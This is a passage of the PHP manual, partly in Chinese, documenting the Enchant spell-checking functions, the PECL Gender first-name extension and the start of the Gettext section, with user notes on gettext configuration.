
此函数是该函数的别名： enchant_dict_add().

User Contributed Notes

There are no user contributed notes for this page.


Add 'word' to this spell-checking session

  • ? enchant_dict_add_to_personal
  • enchant_dict_add ?
  • PHP Manual
  • Enchant 函数
  • Add 'word' to this spell-checking session

enchant_dict_add_to_session

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_add_to_session — Add 'word' to this spell-checking session

说明

enchant_dict_add_to_session(EnchantDictionary $dictionary, string $word): void

Add a word to the given dictionary. It will be added only for the active spell-checking session.

参数

dictionary

An Enchant dictionary returned by enchant_broker_request_dict() or enchant_broker_request_pwl_dict().

word

The word to add

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | dictionary expects an EnchantDictionary instance now; previoulsy, a resource was expected.

参见

  • enchant_broker_request_dict() - Create a new dictionary using a tag

User Contributed Notes

There are no user contributed notes for this page.


Add a word to personal word list

  • ? enchant_dict_add_to_session
  • enchant_dict_check ?
  • PHP Manual
  • Enchant 函数
  • Add a word to personal word list

enchant_dict_add

(PHP 8)

enchant_dict_add — Add a word to personal word list

说明

enchant_dict_add(EnchantDictionary $dictionary, string $word): void

Add a word to personal word list of the given dictionary.

参数

dictionary

An Enchant dictionary returned by enchant_broker_request_dict() or enchant_broker_request_pwl_dict().

word

The word to add

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | dictionary expects an EnchantDictionary instance now; previoulsy, a resource was expected.

Example #1 Adding a word to a PWL

<?php

$filename = './my_word_list.pwl';
$word = 'Supercalifragilisticexpialidocious';

$broker = enchant_broker_init();
$dict = enchant_broker_request_pwl_dict($broker, $filename);

enchant_dict_add($dict, $word);

enchant_broker_free($broker);

?>

参见

  • enchant_broker_request_pwl_dict() - Creates a dictionary using a PWL file
  • enchant_broker_request_dict() - Create a new dictionary using a tag

User Contributed Notes

There are no user contributed notes for this page.


Check whether a word is correctly spelled or not

  • ? enchant_dict_add
  • enchant_dict_describe ?
  • PHP Manual
  • Enchant 函数
  • Check whether a word is correctly spelled or not

enchant_dict_check

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_check — Check whether a word is correctly spelled or not

说明

enchant_dict_check(EnchantDictionary $dictionary, string $word): bool

If the word is correctly spelled return true, otherwise return false

参数

dictionary

An Enchant dictionary returned by enchant_broker_request_dict() or enchant_broker_request_pwl_dict().

word

The word to check

返回值

Returns true if the word is spelled correctly, false if not.

更新日志

版本 | 说明
8.0.0 | dictionary expects an EnchantDictionary instance now; previoulsy, a resource was expected.

User Contributed Notes

There are no user contributed notes for this page.


Describes an individual dictionary

  • ? enchant_dict_check
  • enchant_dict_get_error ?
  • PHP Manual
  • Enchant 函数
  • Describes an individual dictionary

enchant_dict_describe

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_describe — Describes an individual dictionary

说明

enchant_dict_describe(EnchantDictionary $dictionary): array

Returns the details of the dictionary.

参数

dictionary

An Enchant dictionary returned by enchant_broker_request_dict() or enchant_broker_request_pwl_dict().

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | dictionary expects an EnchantDictionary instance now; previoulsy, a resource was expected.
8.0.0 | Prior to this version, the function returned false on failure.

示例

Example #1 A enchant_dict_describe() example

Check if a dictionary exists using enchant_broker_dict_exists() and show the detail of it.

<?php
$tag = 'en_US';
$broker = enchant_broker_init();
if (enchant_broker_dict_exists($broker,$tag)) {
$dict = enchant_broker_request_dict($r, $tag);
$dict_details = enchant_dict_describe($dict);
print_r($dict_details);
}
?>

以上示例的输出类似于：

Array
(
    [lang] => en_US
    [name] => aspell
    [desc] => Aspell Provider
    [file] => /usr/lib/enchant/libenchant_aspell.so
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the last error of the current spelling-session

  • ? enchant_dict_describe
  • enchant_dict_is_added ?
  • PHP Manual
  • Enchant 函数
  • Returns the last error of the current spelling-session

enchant_dict_get_error

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_get_error — Returns the last error of the current spelling-session

说明

enchant_dict_get_error(EnchantDictionary $dictionary): string|false

Returns the last error of the current spelling-session

参数

dictionary

An Enchant dictionary returned by enchant_broker_request_dict() or enchant_broker_request_pwl_dict().

返回值

Returns the error message as string or false if no error occurred.

更新日志

版本 | 说明
8.0.0 | dictionary expects an EnchantDictionary instance now; previoulsy, a resource was expected.

User Contributed Notes

There are no user contributed notes for this page.


Whether or not 'word' exists in this spelling-session

  • ? enchant_dict_get_error
  • enchant_dict_is_in_session ?
  • PHP Manual
  • Enchant 函数
  • Whether or not 'word' exists in this spelling-session

enchant_dict_is_added

(PHP 8)

enchant_dict_is_added — Whether or not 'word' exists in this spelling-session

说明

enchant_dict_is_added(EnchantDictionary $dictionary, string $word): bool

Tells whether or not a word already exists in the current session.

参数

dictionary

An Enchant dictionary returned by enchant_broker_request_dict() or enchant_broker_request_pwl_dict().

word

The word to lookup

返回值

Returns true if the word exists or false

更新日志

版本 | 说明
8.0.0 | dictionary expects an EnchantDictionary instance now; previoulsy, a resource was expected.

参见

  • enchant_dict_add_to_session() - Add 'word' to this spell-checking session

User Contributed Notes

There are no user contributed notes for this page.


别名 enchant_dict_is_added

  • ? enchant_dict_is_added
  • enchant_dict_quick_check ?
  • PHP Manual
  • Enchant 函数
  • 别名 enchant_dict_is_added

enchant_dict_is_in_session

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_is_in_session — 别名 enchant_dict_is_added()

Warning

该别名已在 PHP 8.0.0 中 废弃。

说明

此函数是该函数的别名： enchant_dict_is_added().

User Contributed Notes

There are no user contributed notes for this page.


Check the word is correctly spelled and provide suggestions

  • ? enchant_dict_is_in_session
  • enchant_dict_store_replacement ?
  • PHP Manual
  • Enchant 函数
  • Check the word is correctly spelled and provide suggestions

enchant_dict_quick_check

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant:0.2.0-1.0.1)

enchant_dict_quick_check — Check the word is correctly spelled and provide suggestions

说明

enchant_dict_quick_check(EnchantDictionary $dictionary, string $word, array &$suggestions = null): bool

If the word is correctly spelled return true, otherwise return false, if suggestions variable is provided, fill it with spelling alternatives.

参数

dictionary

An Enchant dictionary returned by enchant_broker_request_dict() or enchant_broker_request_pwl_dict().

word

The word to check

suggestions

If the word is not correctly spelled, this variable will contain an array of suggestions.

返回值

Returns true if the word is correctly spelled or false

更新日志

版本 | 说明
8.0.0 | dictionary expects an EnchantDictionary instance now; previoulsy, a resource was expected.

示例

Example #1 A enchant_dict_quick_check() example

<?php
$tag = 'en_US';
$r = enchant_broker_init();

if (enchant_broker_dict_exists($r,$tag)) {
$d = enchant_broker_request_dict($r, $tag);
enchant_dict_quick_check($d, 'soong', $suggs);
print_r($suggs);
}
?>

以上示例的输出类似于：

Array
(
    [0] => song
    [1] => snog
    [2] => soon
    [3] => Sang
    [4] => Sung
    [5] => sang
    [6] => sung
    [7] => sponge
    [8] => spongy
    [9] => snag
    [10] => snug
    [11] => sonic
    [12] => sing
    [13] => songs
    [14] => Son
    [15] => Sonja
    [16] => Synge
    [17] => son
    [18] => Sejong
    [19] => sarong
    [20] => sooner
    [21] => Sony
    [22] => sown
    [23] => scone
    [24] => song's
)

参见

  • enchant_dict_check() - Check whether a word is correctly spelled or not
  • enchant_dict_suggest() - Will return a list of values if any of those pre-conditions are not met

User Contributed Notes

There are no user contributed notes for this page.


Add a correction for a word

  • ? enchant_dict_quick_check
  • enchant_dict_suggest ?
  • PHP Manual
  • Enchant 函数
  • Add a correction for a word

enchant_dict_store_replacement

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_store_replacement — Add a correction for a word

说明

enchant_dict_store_replacement(EnchantDictionary $dictionary, string $misspelled, string $correct): void

Add a correction for 'mis' using 'cor'. Notes that you replaced @mis with @cor, so it's possibly more likely that future occurrences of @mis will be replaced with @cor. So it might bump @cor up in the suggestion list.

参数

dictionary

An Enchant dictionary returned by enchant_broker_request_dict() or enchant_broker_request_pwl_dict().

misspelled

The work to fix

correct

The correct word

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | dictionary expects an EnchantDictionary instance now; previoulsy, a resource was expected.

User Contributed Notes

There are no user contributed notes for this page.


Will return a list of values if any of those pre-conditions are not met

  • ? enchant_dict_store_replacement
  • EnchantBroker ?
  • PHP Manual
  • Enchant 函数
  • Will return a list of values if any of those pre-conditions are not met

enchant_dict_suggest

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_suggest — Will return a list of values if any of those pre-conditions are not met

说明

enchant_dict_suggest(EnchantDictionary $dictionary, string $word): array

参数

dictionary

An Enchant dictionary returned by enchant_broker_request_dict() or enchant_broker_request_pwl_dict().

word

Word to use for the suggestions.

返回值

Will returns an array of suggestions if the word is bad spelled.

更新日志

版本 | 说明
8.0.0 | dictionary expects an EnchantDictionary instance now; previoulsy, a resource was expected.

示例

Example #1 A enchant_dict_suggest() example

<?php
$tag = 'en_US';
$r = enchant_broker_init();
if (enchant_broker_dict_exists($r,$tag)) {
$d = enchant_broker_request_dict($r, $tag);

$wordcorrect = enchant_dict_check($d, "soong");
if (!$wordcorrect) {
$suggs = enchant_dict_suggest($d, "soong");
echo "Suggestions for 'soong':";
print_r($suggs);
}
enchant_broker_free_dict($d);
}
enchant_broker_free($r);
?>

参见

  • enchant_dict_check() - Check whether a word is correctly spelled or not
  • enchant_dict_quick_check() - Check the word is correctly spelled and provide suggestions

User Contributed Notes

There are no user contributed notes for this page.


The EnchantBroker class

(PHP 8)

简介

A fully opaque class which replaces enchant_broker resources as of PHP 8.0.0.

类摘要

final class EnchantBroker {
}

User Contributed Notes

There are no user contributed notes for this page.


The EnchantDictionary class

(PHP 8)

简介

A fully opaque class which replaces enchant_dict resources as of PHP 8.0.0.

类摘要

final class EnchantDictionary {
}

User Contributed Notes

There are no user contributed notes for this page.


Determine gender of firstnames

  • 简介
  • 安装/配置
    • 安装
  • 示例
    • Usage example.
  • Gender\Gender — The Gender\Gender class
    • Gender\Gender::connect — Connect to an external name dictionary
    • Gender\Gender::__construct — Construct the Gender object
    • Gender\Gender::country — Get textual country representation
    • Gender\Gender::get — Get gender of a name
    • Gender\Gender::isNick — Check if the name0 is an alias of the name1
    • Gender\Gender::similarNames — Get similar names

User Contributed Notes

There are no user contributed notes for this page.


简介

Gender PHP extension is a port of the gender.c program originally written by Joerg Michael. The main purpose is to find out the gender of firstnames. The current database contains >40000 firstnames from 54 countries.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/gender.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/gender/.

User Contributed Notes

omega13a at gmail dot com 25-Feb-2022 12:38
This extension will not compile against PHP 8 unless the following patch is applied: http://www.fedtrek.com/staff/omega13a/rpms/fc35/php-pecl-gender-8-compadibility.patch

(I would submit this to the appropriate bug tracker but I can't find it. Clicking on "Report New Bug" on the Pecl Page takes you to a page saying the bug tracker no longer accepts non-security issues and there isn't any alternate place aviable)


示例

Table of Contents

  • Usage example.

User Contributed Notes

There are no user contributed notes for this page.


Usage example.

Gender class usage example.

Example #1 Usage example.

<?php

namespace Gender;

$gender = new Gender;

$name = "Milene";
$country = Gender::FRANCE;

$result = $gender->get($name, $country);

$data = $gender->country($country);

switch($result) {
case Gender::IS_FEMALE:
printf("The name %s is female in %s\n", $name, $data['country']);
break;

case Gender::IS_MOSTLY_FEMALE:
printf("The name %s is mostly female in %s\n", $name, $data['country']);
break;

case Gender::IS_MALE:
printf("The name %s is male in %s\n", $name, $data['country']);
break;

case Gender::IS_MOSTLY_MALE:
printf("The name %s is mostly male in %s\n", $name, $data['country']);
break;

case Gender::IS_UNISEX_NAME:
printf("The name %s is unisex in %s\n", $name, $data['country']);
break;

case Gender::IS_A_COUPLE:
printf("The name %s is both male and female in %s\n", $name, $data['country']);
break;

case Gender::NAME_NOT_FOUND:
printf("The name %s was not found for %s\n", $name, $data['country']);
break;

case Gender::ERROR_IN_NAME:
echo "There is an error in the given name!\n";
break;

default:
echo "An error occurred!\n";
break;

}

User Contributed Notes

There are no user contributed notes for this page.


The Gender\Gender class

(PECL gender >= 0.6.0)

简介

类摘要

class Gender\Gender {
/* 常量 */
const int IS_FEMALE = 70;
const int IS_MOSTLY_FEMALE = 102;
const int IS_MALE = 77;
const int IS_MOSTLY_MALE = 109;
const int IS_UNISEX_NAME = 63;
const int IS_A_COUPLE = 67;
const int NAME_NOT_FOUND = 32;
const int ERROR_IN_NAME = 69;
const int ANY_COUNTRY = 0;
const int BRITAIN = 1;
const int IRELAND = 2;
const int USA = 3;
const int SPAIN = 4;
const int PORTUGAL = 5;
const int ITALY = 6;
const int MALTA = 7;
const int FRANCE = 8;
const int BELGIUM = 9;
const int LUXEMBOURG = 10;
const int NETHERLANDS = 11;
const int GERMANY = 12;
const int EAST_FRISIA = 13;
const int AUSTRIA = 14;
const int SWISS = 15;
const int ICELAND = 16;
const int DENMARK = 17;
const int NORWAY = 18;
const int SWEDEN = 19;
const int FINLAND = 20;
const int ESTONIA = 21;
const int LATVIA = 22;
const int LITHUANIA = 23;
const int POLAND = 24;
const int CZECH_REP = 25;
const int SLOVAKIA = 26;
const int HUNGARY = 27;
const int ROMANIA = 28;
const int BULGARIA = 29;
const int BOSNIA = 30;
const int CROATIA = 31;
const int KOSOVO = 32;
const int MACEDONIA = 33;
const int MONTENEGRO = 34;
const int SERBIA = 35;
const int SLOVENIA = 36;
const int ALBANIA = 37;
const int GREECE = 38;
const int RUSSIA = 39;
const int BELARUS = 40;
const int MOLDOVA = 41;
const int UKRAINE = 42;
const int ARMENIA = 43;
const int AZERBAIJAN = 44;
const int GEORGIA = 45;
const int KAZAKH_UZBEK = 46;
const int TURKEY = 47;
const int ARABIA = 48;
const int ISRAEL = 49;
const int CHINA = 50;
const int INDIA = 51;
const int JAPAN = 52;
const int KOREA = 53;
/* 方法 */
public __construct(string $dsn = ?)
public connect(string $dsn): bool
public country(int $country): array|false
public get(string $name, int $country = ?): int
public isNick(string $name0, string $name1, int $country = ?): array
public similarNames(string $name, int $country = ?): array
}

预定义常量

Gender\Gender::IS_FEMALE

Gender\Gender::IS_MOSTLY_FEMALE

Gender\Gender::IS_MALE

Gender\Gender::IS_MOSTLY_MALE

Gender\Gender::IS_UNISEX_NAME

Gender\Gender::IS_A_COUPLE

Gender\Gender::NAME_NOT_FOUND

Gender\Gender::ERROR_IN_NAME

Gender\Gender::ANY_COUNTRY

Gender\Gender::BRITAIN

Gender\Gender::IRELAND

Gender\Gender::USA

Gender\Gender::SPAIN

Gender\Gender::PORTUGAL

Gender\Gender::ITALY

Gender\Gender::MALTA

Gender\Gender::FRANCE

Gender\Gender::BELGIUM

Gender\Gender::LUXEMBOURG

Gender\Gender::NETHERLANDS

Gender\Gender::GERMANY

Gender\Gender::EAST_FRISIA

Gender\Gender::AUSTRIA

Gender\Gender::SWISS

Gender\Gender::ICELAND

Gender\Gender::DENMARK

Gender\Gender::NORWAY

Gender\Gender::SWEDEN

Gender\Gender::FINLAND

Gender\Gender::ESTONIA

Gender\Gender::LATVIA

Gender\Gender::LITHUANIA

Gender\Gender::POLAND

Gender\Gender::CZECH_REP

Gender\Gender::SLOVAKIA

Gender\Gender::HUNGARY

Gender\Gender::ROMANIA

Gender\Gender::BULGARIA

Gender\Gender::BOSNIA

Gender\Gender::CROATIA

Gender\Gender::KOSOVO

Gender\Gender::MACEDONIA

Gender\Gender::MONTENEGRO

Gender\Gender::SERBIA

Gender\Gender::SLOVENIA

Gender\Gender::ALBANIA

Gender\Gender::GREECE

Gender\Gender::RUSSIA

Gender\Gender::BELARUS

Gender\Gender::MOLDOVA

Gender\Gender::UKRAINE

Gender\Gender::ARMENIA

Gender\Gender::AZERBAIJAN

Gender\Gender::GEORGIA

Gender\Gender::KAZAKH_UZBEK

Gender\Gender::TURKEY

Gender\Gender::ARABIA

Gender\Gender::ISRAEL

Gender\Gender::CHINA

Gender\Gender::INDIA

Gender\Gender::JAPAN

Gender\Gender::KOREA

Table of Contents

  • Gender\Gender::connect — Connect to an external name dictionary
  • Gender\Gender::__construct — Construct the Gender object
  • Gender\Gender::country — Get textual country representation
  • Gender\Gender::get — Get gender of a name
  • Gender\Gender::isNick — Check if the name0 is an alias of the name1
  • Gender\Gender::similarNames — Get similar names

User Contributed Notes

There are no user contributed notes for this page.


Connect to an external name dictionary

  • ? Gender\Gender
  • Gender\Gender::__construct ?
  • PHP Manual
  • Gender\Gender
  • Connect to an external name dictionary

Gender\Gender::connect

(PECL gender >= 0.6.0)

Gender\Gender::connect — Connect to an external name dictionary

说明

public Gender\Gender::connect(string $dsn): bool

Connect to an external name dictionary. Currently only streams are supported.

参数

dsn

DSN to open.

返回值

Boolean as success of failure.

User Contributed Notes

There are no user contributed notes for this page.


Construct the Gender object

  • ? Gender\Gender::connect
  • Gender\Gender::country ?
  • PHP Manual
  • Gender\Gender
  • Construct the Gender object

Gender\Gender::__construct

(PECL gender >= 0.6.0)

Gender\Gender::__construct — Construct the Gender object

说明

public Gender\Gender::__construct(string $dsn = ?)

Create a Gender object optionally connecting to an external name dictionary. When no external database was given, compiled in data will be used.

参数

dsn

DSN to open.

User Contributed Notes

There are no user contributed notes for this page.


Get textual country representation

  • ? Gender\Gender::__construct
  • Gender\Gender::get ?
  • PHP Manual
  • Gender\Gender
  • Get textual country representation

Gender\Gender::country

(PECL gender >= 0.8.0)

Gender\Gender::country — Get textual country representation

说明

public Gender\Gender::country(int $country): array|false

Returns the textual representation of a country from a Gender class constant.

参数

country

A country ID specified by a Gender\Gender class constant.

返回值

Returns an array with the short and full names of the country on success 或者在失败时返回 false.

示例

Example #1 Using Gender\Gender::country()

$gender = new Gender\Gender;
var_dump($gender->country(Gender\Gender::BRITAIN));

以上示例会输出：

array(2) {
  'country_short' =>
  string(2) "UK"
  'country' =>
  string(13) "Great Britain"
}

User Contributed Notes

There are no user contributed notes for this page.


Get gender of a name

  • ? Gender\Gender::country
  • Gender\Gender::isNick ?
  • PHP Manual
  • Gender\Gender
  • Get gender of a name

Gender\Gender::get

(PECL gender >= 0.6.0)

Gender\Gender::get — Get gender of a name

说明

public Gender\Gender::get(string $name, int $country = ?): int

Get the gender of the name in a particular country.

参数

name

Name to check.

country

Country id identified by Gender class constant.

返回值

Returns gender of the name.

User Contributed Notes

There are no user contributed notes for this page.


Check if the name0 is an alias of the name1

  • ? Gender\Gender::get
  • Gender\Gender::similarNames ?
  • PHP Manual
  • Gender\Gender
  • Check if the name0 is an alias of the name1

Gender\Gender::isNick

(PECL gender >= 0.9.0)

Gender\Gender::isNick — Check if the name0 is an alias of the name1

说明

public Gender\Gender::isNick(string $name0, string $name1, int $country = ?): array

Check whether the name0 is a nick of the name1.

参数

name0

Name to check.

name1

Name to check.

country

Country id identified by Gender class constant. If ommited ANY_COUNTRY is used.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Get similar names

  • ? Gender\Gender::isNick
  • Gettext ?
  • PHP Manual
  • Gender\Gender
  • Get similar names

Gender\Gender::similarNames

(PECL gender >= 0.9.0)

Gender\Gender::similarNames — Get similar names

说明

public Gender\Gender::similarNames(string $name, int $country = ?): array

Get similar names for the given name and country.

参数

name

Name to check.

country

Country id identified by Gender class constant. If ommited ANY_COUNTRY is used.

返回值

Returns an array with the similar names found.

User Contributed Notes

There are no user contributed notes for this page.


Gettext

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Gettext 函数
    • bind_textdomain_codeset — Specify or get the character encoding in which the messages from the DOMAIN message catalog will be returned
    • bindtextdomain — Sets or gets the path for a domain
    • dcgettext — Overrides the domain for a single lookup
    • dcngettext — Plural version of dcgettext
    • dgettext — Override the current domain
    • dngettext — Plural version of dgettext
    • gettext — Lookup a message in the current domain
    • ngettext — Plural version of gettext
    • textdomain — Sets the default domain

User Contributed Notes

cucurella at gmail dot com 29-Oct-2020 05:27
<?php

// read directly .po files

function T_($contenido) {

    global $language;

    if ($language == "en") { $translation_file = "langs/en.po"; }
    if ($language == "es") { $translation_file = "langs/es.po"; }

    if (file_exists("$translation_file")) {
        $IDIOMA_CONTENT = file("$translation_file");
        $num_lineas = count($IDIOMA_CONTENT);
    } else {
        return $contenido;
    }

    for ($i = 0; $i <= $num_lineas; $i++) {
        $linea1 = $IDIOMA_CONTENT[$i];
        $linea1 = rtrim($linea1);
        $string6 = substr($linea1, 0, 6);

        if ($string6 == "msgid ") {
            $orig = str_replace($string6, "", $linea1);
            $orig = str_replace("\"", "", $orig);

            if ("$orig" == "$contenido") {
                $linea2 = $IDIOMA_CONTENT[$i + 1];
                $linea2 = rtrim($linea2);
                $string7 = substr($linea2, 0, 7);

                if ($string7 == "msgstr ") {
                    $trad = str_replace($string7, "", $linea2);
                    $trad = str_replace("\"", "", $trad);
                    return("$trad");
                }
            } else {
                $i = $i + 3;
            }
        }
    }

    return("$contenido");
}

$language = "es";

print T_("I on puc comprar el meu domini ?");
print T_("Aquí tens alguns links...");

?>
maximran800 at gmail dot com 01-Aug-2018 08:00
I have some problems setting geettext.
I ahve tried all the above example in noted, but none work.
However, i found a nice trick here and it work!!:
My platform is freebsd.

below is the post:
http://php.net/manual/en/function.gettext.php

Gettext translations are cached. If you change *.mo files your page may not be translated as expected. Here's simple workaround which does not require restarting webserver (I know, this is just a dirty hack):

<?php
function initialize_i18n($locale) {
    putenv('LANG='.$locale);
    setlocale(LC_ALL,"");
    setlocale(LC_MESSAGES,$locale);
    setlocale(LC_CTYPE,$locale);
    $domains = glob($locales_root.'/'.$locale.'/LC_MESSAGES/messages-*.mo');
    $current = basename($domains[0],'.mo');
    $timestamp = preg_replace('{messages-}i','',$current);
    bindtextdomain($current,$locales_root);
    textdomain($current);
    }
?>

to make this work you have to put your locale inside file messages-[unix_time].mo and use this name (without .mo) as your domain to fool caching mechanism (domain names differ)

msgfmt messages.po -o messages-`date +%s`.mo

for me this works fine (although this is not very elegant solution)
marioandrea dot petruccelli at gmail dot com 14-Mar-2018 09:54
How to use gettext on Windows.

If you use Linux start from the step 2 and consider cmd as linux shell.

1] First you have to download and install this
      https://mlocati.github.io/articles/gettext-iconv-windows.html

    Check all options during the installation and go on.

2] Create a index.php file into your website directory with this code inside:

   <?php
    echo  _("Good Morning");
    ?>

3] Open cmd and move into your website folder using cd

4] Now create the .mo files directly from the php files using this command
    xgettext -n index.php

    Use xgettext -help to see how to include more php files.

5] Once finished will be generate a file called messages.mo. Now you have to set the language and the charset. Open messages.mo with notepad and edit the lines:

 - "Language: \n" BECOMES "Language fr\n"
 - "Content-Type: text/plain; charset=CHARSET\n" BECOMES "Content-Type: text/plain; CHARSET=gb2312\n"

6] Remember to translate every line where is present msgstr "", translating the instance msgid into language you have chosen. For instance:

   #: index.php:2
  msgid "Good Morning"
  msgstr "Bonjour"

7] Once finished open cmd and move into your website folder using cd and then type
     msgfmt messages.po

 This will make a file called messages.mo . Is a binary version of the messages.po file

8] Now you have to create a folder structure like this into your website folder. Do this for each language you want to add.

  website/locale/fr_FR/LC_MESSAGES

9] Move messages.mo and messages.po in locale/fr_FR/LC_MESSAGES

10] Now edit the index.php as follows

 <?php

 $locale = "fr_FR";

    if (defined('LC_MESSAGES')) {
        setlocale(LC_MESSAGES, $locale); // Linux
        bindtextdomain("messages", "./locale");
    } else {
        putenv("LC_ALL={$locale}"); // windows
        bindtextdomain("messages", ".\locale");
    }

    textdomain("messages");

    echo _("Good Morning");
?>

11] Open index.php in your browser and if you will see "Bonjour" it means everything is okay. If not,  start from the step 2 again.

If it was usefull for you vote up!

Visit my github profile https://github.com/TheoRelativity/
afrimuchkov at yandex dot ru 29-Oct-2017 10:35
Soo.... It was pretty hard)
Finaly:
1)Working if dir is "en", not "en_GB" or "en_GB.utf8". Only "en".
2)But use setlocale(LC_MESSAGES, "en_GB.utf8");
Anonymous 16-Dec-2014 12:00
for all they try to use a non-alpha-char in a domain name: DONT TRY THIS !!! we have search some hours to realized that "foo-bar" is not a good idea for a domain name. sometimes we got a correct translation, and sometimes not. so just use only the characters A-Z for a domain name!
Johnny 14-Jul-2014 09:31
Please also be noticed that the server will cache the .mo file on first loading and then "seldom" reload it, so your update to .mo file will not be revealed.  Some solution to clear the cache from web is to restart the apache server, or to use another name for the textdomain everytime.  These are tedious.  I cannot find better solution yet.
yuricardenas at gmail dot com 21-Jun-2009 11:30
*An important thing to keep in mind*:
Do not forget to set the charset in .po file!
For example:

"Content-Type: text/plain; CHARSET=gb2312\n"

Then PHP will be able to find the .mo file you generated, using msgfmt, from the .po file WITH CHARSET SET.

Because of this I've wasted a lot of time debugging my code, testing every single little changes people suggested over this manual and Internet:

<?php

//this:
setlocale( LC_MESSAGES, 'pt_BR')
//or this:
setlocale( LC_MESSAGES, 'pt_BR.utf8')
//or this:
setlocale( LC_MESSAGES, '')

//this:
putenv("LANG=pt_BR.utf8");
//or this:
putenv("LANGUAGE=pt_BR.utf8");

//this:
bindtextdomain('mydomain', dirname(__FILE__).'/locale');
//or this:
bindtextdomain("*", dirname(__FILE__).'/locale');
//or this:
bindtextdomain('*', dirname(__FILE__).'/locale');

//setting or not "bind_textdomain_codeset()":
bind_textdomain_codeset("mydomain", 'UTF-8');
?>

As well as what locale directory name to set:
./locale/pt_BR.UTF8/LC_MESSAGES/mydomain.mo
or
./locale/pt_BR/LC_MESSAGES/mydomain.mo
or
./locale/pt/LC_MESSAGES/mydomain.mo

Finally, the code which brought the right translated strings (also with the correct charset) was:

<?php

$directory = dirname(__FILE__).'/locale';
$domain = 'mydomain';
$locale ="pt_BR.utf8";

//putenv("LANG=".$locale); //not needed for my tests, but people say it's useful for windows

setlocale( LC_MESSAGES, $locale);
bindtextdomain($domain, $directory);
textdomain($domain);
bind_textdomain_codeset($domain, 'UTF-8');
?>

And the three directory's names worked out, using the pt_BR.utf8 locale. (My tests were made restarting Apache then trying each directory).

I hope to help someone else not to waste as much time as I've wasted... =P

Using:
Ubuntu 8.04 (hardy)
Apache 2.2.8
PHP 5.2.4-2ubuntu5.6
jpatokal at iki dot fi 29-May-2009 12:05
Warning for Linux (Ubuntu) users!  Your system will *only* support the locales installed on your OS, in the *exact* format given by your OS.  (See also the PHP setlocale man page.)  To get a list of them, enter locale -a, which will give you something like this:

C
en_US.utf8
ja_JP.utf8
POSIX

So this machine only has English and Japanese!  To add eg. Finnish, install the package:

sudo apt-get install language-pack-fi-base

Rerun locale -a, and "fi_FI.utf8" should appear.  Make sure you're using the same name in your PHP code:

setlocale(LC_ALL, "fi_FI.utf8");

Adjust your po paths so that they match, e.g. "./locale/fi_FI.utf8/LC_MESSAGES/messages.po".

Now restart Apache, and it should finally work.  Figuring this out took quite a while...
sasq1 at go2 dot pl 31-Mar-2009 10:18
And what about pgettext and npgettext? They are there in the gettext documentation, but there aren't in PHP. They're very useful if you have the same messages for translation, but in different contexts, so they should be translated separately and probably differently.

Fortunately, there is a simple work-around, which may help:
From the gettext.h header one can find out that pgettext() is only a macro calling dcgettext() internally with properly mangled parameters - msgctxt and msgid are glued together with use of ASCII char 4 [EOT, End Of Text]. The same way they're written in .mo files, so it's possible to refer them this way.

Here's my "emulated" pgettext() function:

<?php
   if (!function_exists('pgettext')) {

      function pgettext($context, $msgid)
      {
         $contextString = "{$context}\004{$msgid}";
         $translation = dcgettext('messages', contextString,LC_MESSAGES);
         if ($translation == $contextString)  return $msgid;
         else  return $translation;
      }

   }
?>

By default, xgettext doesn't support pgettext function for PHP source files. But there is a parameter which can work-around it. Here's how I call xgettext:

   xgettext --force-po --keyword="pgettext:1c,2" -c -o messages.po sourceFile.php

In sourceFile.php I use the following test code:

   pgettext('menu', 'Open');  //Substitute "Otwórz"
   pgettext('forum', 'Open');  //Substitute "Otwarty", different context

Generated .po file fragment:

   msgctxt "menu"
   msgid "Open"
   msgstr "Otwórz"

   msgctxt "forum"
   msgctxt "Open"
   msgstr "Otwarty"

I've tested it out and everything works fine :-) If anyone have some further suggestions or fixes, please write ;-)
rainwalker at seznam dot cz 19-Mar-2009 09:16
My PHP app was made for UTF-8 but i had a problem that gettext always returned all texts in ISO-8859-2 instead of UTF-8.

Then i found out that you have to set locale in PHP exactly to encoding you request. So when i wanted czech UTF-8 i used:

setlocale(LC_ALL, "cs_CZ.UTF-8");

Now it works...
djogopatrao at gmail dot com 10-Dec-2008 10:49
It is noteworthy that, according to the GNU gettext FAQ[1], * source code must be ASCII *. That means that you can't write code like

<?= _("áááààà??")?>

in UTF-8, ISO-8859-1 or whatever, and hope that that will work. It won't.

[1]http://www.gnu.org/software/gettext/FAQ.html#nonascii_strings
php at devicenull dot org 20-Aug-2008 07:58
To get this working properly on debian, install the locales-all package.  I just spent a few hours finding a bug where it wouldn't work because that package is missing


简介

gettext函数实现了NLS (Native Language Support) API，他可以用来国际化您的PHP程序. 请参阅gettext的文档，为您的系统进行国际化功能的详尽的解释 或查看文档 » http://www.gnu.org/software/gettext/manual/gettext.html.

User Contributed Notes

There are no user contributed notes for this page.


需求

要使用这些函数，你必须从 » http://www.gnu.org/software/gettext/gettext.html 下载和安装 GNU gettext 包

User Contributed Notes

There are no user contributed notes for this page.


安装

